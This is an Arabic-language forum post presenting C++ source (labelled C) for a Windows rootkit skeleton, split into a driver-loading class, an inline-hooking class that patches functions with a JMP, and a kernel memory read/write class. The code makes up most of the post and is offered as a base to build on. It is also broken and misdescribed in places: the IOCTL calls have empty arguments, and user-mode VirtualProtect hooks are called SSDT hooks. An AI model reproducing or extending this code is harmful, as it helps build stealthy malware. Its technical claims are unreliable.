Rootkit بلغة C: تفكيك نواة ويندوز بأسلوب OOP

x32x01
  • بواسطة x32x01 ||

صناعة Rootkit لتفكيك نواة ويندوز: قوة الـC والـOOP! ⚙️

تخيّل إنك تملك مفتاح سحري يفتح لك قلب نظام ويندوز نفسه! الـRootkit هو بالظبط كده: برنامج خبيث بيتسلل لنواة النظام (Kernel) ويديك تحكم كامل. في المقال ده، هنشرح كود C بيستخدم أسلوب البرمجة الكائنية (OOP) عشان يبني Rootkit قوي، مقسم لكلاسات منظمة، وجاهز للتعامل مع النواة. هنفكك الكود، نشرح وظيفته، ونحذرك من خطورته. 🚨

إزاي الكود بيعمل Rootkit؟ 🕵️‍♂️

الكود مقسم لثلاث كلاسات رئيسية، كل واحدة بتلعب دور في بناء الـRootkit:
  • كلاس Rootkit: الأساس اللي بيتعامل مع تحميل الدرايفر والتواصل مع النواة.
  • كلاس Hooking: المسؤول عن التلاعب بوظايف النظام عبر الـInline Hooks.
  • كلاس Communication: الجسر بين المستخدم والنواة لقراءة وكتابة الذاكرة.
خلينا نغوص في تفاصيل كل كلاس والكود الخاص بيه.

1. كلاس Rootkit: القلب النابض للـRootkit 💻

الكلاس ده هو العقل المدبر، بيتعامل مع تحميل الدرايفر والتواصل مع النواة عبر IOCTLs.
C:
#include <Windows.h>
#include <iostream>

class Rootkit {
public:
    Rootkit();
    ~Rootkit();
    bool LoadDriver(const char* driverPath);
    bool UnloadDriver();
    bool SendControlCode(DWORD controlCode, LPVOID inBuffer, DWORD inBufferSize, LPVOID outBuffer, DWORD outBufferSize);

private:
    HANDLE hDevice;
};

Rootkit::Rootkit() {
    hDevice = INVALID_HANDLE_VALUE;
}

Rootkit::~Rootkit() {
    if (hDevice != INVALID_HANDLE_VALUE) {
        CloseHandle(hDevice);
    }
}

bool Rootkit::LoadDriver(const char* driverPath) {
    // هنا بنحمل الدرايفر
    // لازم تكتب كود التحميل الفعلي هنا
    return true;
}

bool Rootkit::UnloadDriver() {
    // هنا بنشيل الدرايفر
    // لازم تكتب كود الإزالة الفعلي هنا
    return true;
}

bool Rootkit::SendControlCode(DWORD controlCode, LPVOID inBuffer, DWORD inBufferSize, LPVOID outBuffer, DWORD outBufferSize) {
    if (hDevice == INVALID_HANDLE_VALUE) {
        return false;
    }
    DWORD bytesReturned;
    return DeviceIoControl(hDevice, controlCode, inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, NULL);
}
  • Constructor و Destructor: الكونستركتور بيجهّز الـHANDLE للدرايفر، والديستركتور بيأكد إن الـHANDLE يتقفل لو مفتوح.
  • LoadDriver و UnloadDriver: الدوال دي لتحميل وإزالة الدرايفر من النظام (الكود الفعلي غير مكتمل هنا).
  • SendControlCode: بتبعت أوامر IOCTL للنواة عشان تتحكم في الدرايفر وتنفّذ عمليات زي القراءة أو الكتابة.



2. كلاس Hooking: التلاعب بوظايف النظام 🪝

الكلاس ده مسؤول عن الـHooking، وهي تقنية بتعدّل وظايف النظام (زي SSDT) عشان توجهها لكود خبيث.
C:
class Hooking {
public:
    Hooking();
    ~Hooking();
    bool SetInlineHook(LPVOID targetFunction, LPVOID hookFunction);
    bool RemoveInlineHook(LPVOID targetFunction);

private:
    BYTE originalBytes[5];
};

Hooking::Hooking() {
    // كونستركتور
}

Hooking::~Hooking() {
    // ديستركتور
}

bool Hooking::SetInlineHook(LPVOID targetFunction, LPVOID hookFunction) {
    DWORD oldProtect;
    VirtualProtect(targetFunction, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(originalBytes, targetFunction, 5);
    DWORD relativeAddress = ((DWORD)hookFunction - (DWORD)targetFunction - 5);
    *((BYTE*)targetFunction) = 0xE9;
    *((DWORD*)((BYTE*)targetFunction + 1)) = relativeAddress;
    VirtualProtect(targetFunction, 5, oldProtect, &oldProtect);
    return true;
}

bool Hooking::RemoveInlineHook(LPVOID targetFunction) {
    DWORD oldProtect;
    VirtualProtect(targetFunction, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(targetFunction, originalBytes, 5);
    VirtualProtect(targetFunction, 5, oldProtect, &oldProtect);
    return true;
}
  • SetInlineHook: بتعمل Inline Hook عن طريق تعديل أول 5 بايتس من الوظيفة المستهدفة بأمر JMP (0xE9) لتوجيه التنفيذ لوظيفة خبيثة.
  • RemoveInlineHook: بترجّع الوظيفة الأصلية باستعادة البايتس الأصلية.
  • VirtualProtect: بتغيّر أذونات الذاكرة عشان تسمح بالتعديل.



3. كلاس Communication: الجسر للنواة 📡

الكلاس ده بيتعامل مع قراءة وكتابة الذاكرة في النواة، وهو الوسيلة اللي بيتواصل بيها الـRootkit مع النظام.
C:
class Communication {
public:
    Communication();
    ~Communication();
    bool ReadMemory(DWORD_PTR address, LPVOID buffer, SIZE_T size);
    bool WriteMemory(DWORD_PTR address, LPCVOID buffer, SIZE_T size);

private:
    Rootkit* rootkit;
};

Communication::Communication() {
    rootkit = new Rootkit();
}

Communication::~Communication() {
    delete rootkit;
}

bool Communication::ReadMemory(DWORD_PTR address, LPVOID buffer, SIZE_T size) {
    return rootkit->SendControlCode(/*IOCTL_READ_MEMORY*/, &address, sizeof(address), buffer, size);
}

bool Communication::WriteMemory(DWORD_PTR address, LPCVOID buffer, SIZE_T size) {
    return rootkit->SendControlCode(/*IOCTL_WRITE_MEMORY*/, &address, sizeof(address), (LPVOID)buffer, size);
}
  • Constructor و Destructor: بيجهّز وينظف كائن الـRootkit.
  • ReadMemory و WriteMemory: بيستخدموا IOCTL عشان يقروا أو يكتبوا في ذاكرة النواة مباشرة.



ليه الـRootkit خطير جدًا؟ 😱

الـRootkit ده زي شبح بيختفي جوه النظام، وخطورته في:
  • التحكم الكامل: بيوصل للنواة، يعني بيقدر يتحكم في كل حاجة في الجهاز.
  • الإخفاء التام: بيعدّل وظايف النظام عشان يخفّي نفسه عن برامج الحماية.
  • سرقة البيانات: بيقدر يقرأ أو يكتب في الذاكرة، فممكن يسرق كلمات مرور أو بيانات حساسة.
  • هجمات متقدمة: ممكن يستخدم لتثبيت Ransomware، Spyware، أو Botnet.

إزاي تحمي نفسك من الـRootkits؟ 🛡️

الـRootkits من أخطر أنواع المالوير، لكن تقدر تحمي نفسك كده:
  • حدّث ويندوز: التحديثات بتصلّح ثغرات النواة اللي بيستغلها الـRootkits.
  • استخدم حماية قوية: برامج زي CrowdStrike أو Kaspersky مصممة لكشف الـRootkits.
  • راقب الدرايفرات: استخدم أدوات زي DriverView عشان تشوف الدرايفرات المثبتة وتتأكد إنها شرعية.
  • تجنّب الملفات المشبوهة: ما تحملش ملفات أو تفتح إيميلات من مصادر مجهولة.

النهاية: Rootkit.. القوة المرعبة! 🌑

الكود ده زي قنبلة نووية في عالم الأمن السيبراني: قوي، منظم، وخطير. بفضل الـOOP، الكود مقسم وجاهز للتطوير، بس كمان بيفتح الباب لهجمات مدمرة. لو عايز تبقى خبير أمن سيبراني، اتعلم كتابة وتحليل الـRootkits في بيئات آمنة زي Kali Linux باستخدام أدوات زي IDA Pro. تابع اكتب كود لشروحات جديدة عن Cybersecurity و Kernel Hacking! 😎 لو البوست فادك، شاركه، وسيب تعليق لو عندك سؤال! 🚀
 
التعديل الأخير:
المواضيع ذات الصلة
x32x01
الردود
1
المشاهدات
450
x32x01
x32x01
x32x01
الردود
0
المشاهدات
565
x32x01
x32x01
x32x01
الردود
0
المشاهدات
446
x32x01
x32x01
x32x01
الردود
0
المشاهدات
160
x32x01
x32x01
x32x01
الردود
0
المشاهدات
513
x32x01
x32x01
x32x01
الردود
0
المشاهدات
374
x32x01
x32x01
x32x01
الردود
0
المشاهدات
705
x32x01
x32x01
x32x01
الردود
1
المشاهدات
443
x32x01
x32x01
x32x01
الردود
0
المشاهدات
641
x32x01
x32x01
x32x01
الردود
0
المشاهدات
565
x32x01
x32x01
الدخول أو التسجيل السريع
نسيت كلمة مرورك؟
إحصائيات المنتدى
المواضيع
1,831
المشاركات
2,028
أعضاء أكتب كود
463
أخر عضو
adil
عودة
أعلى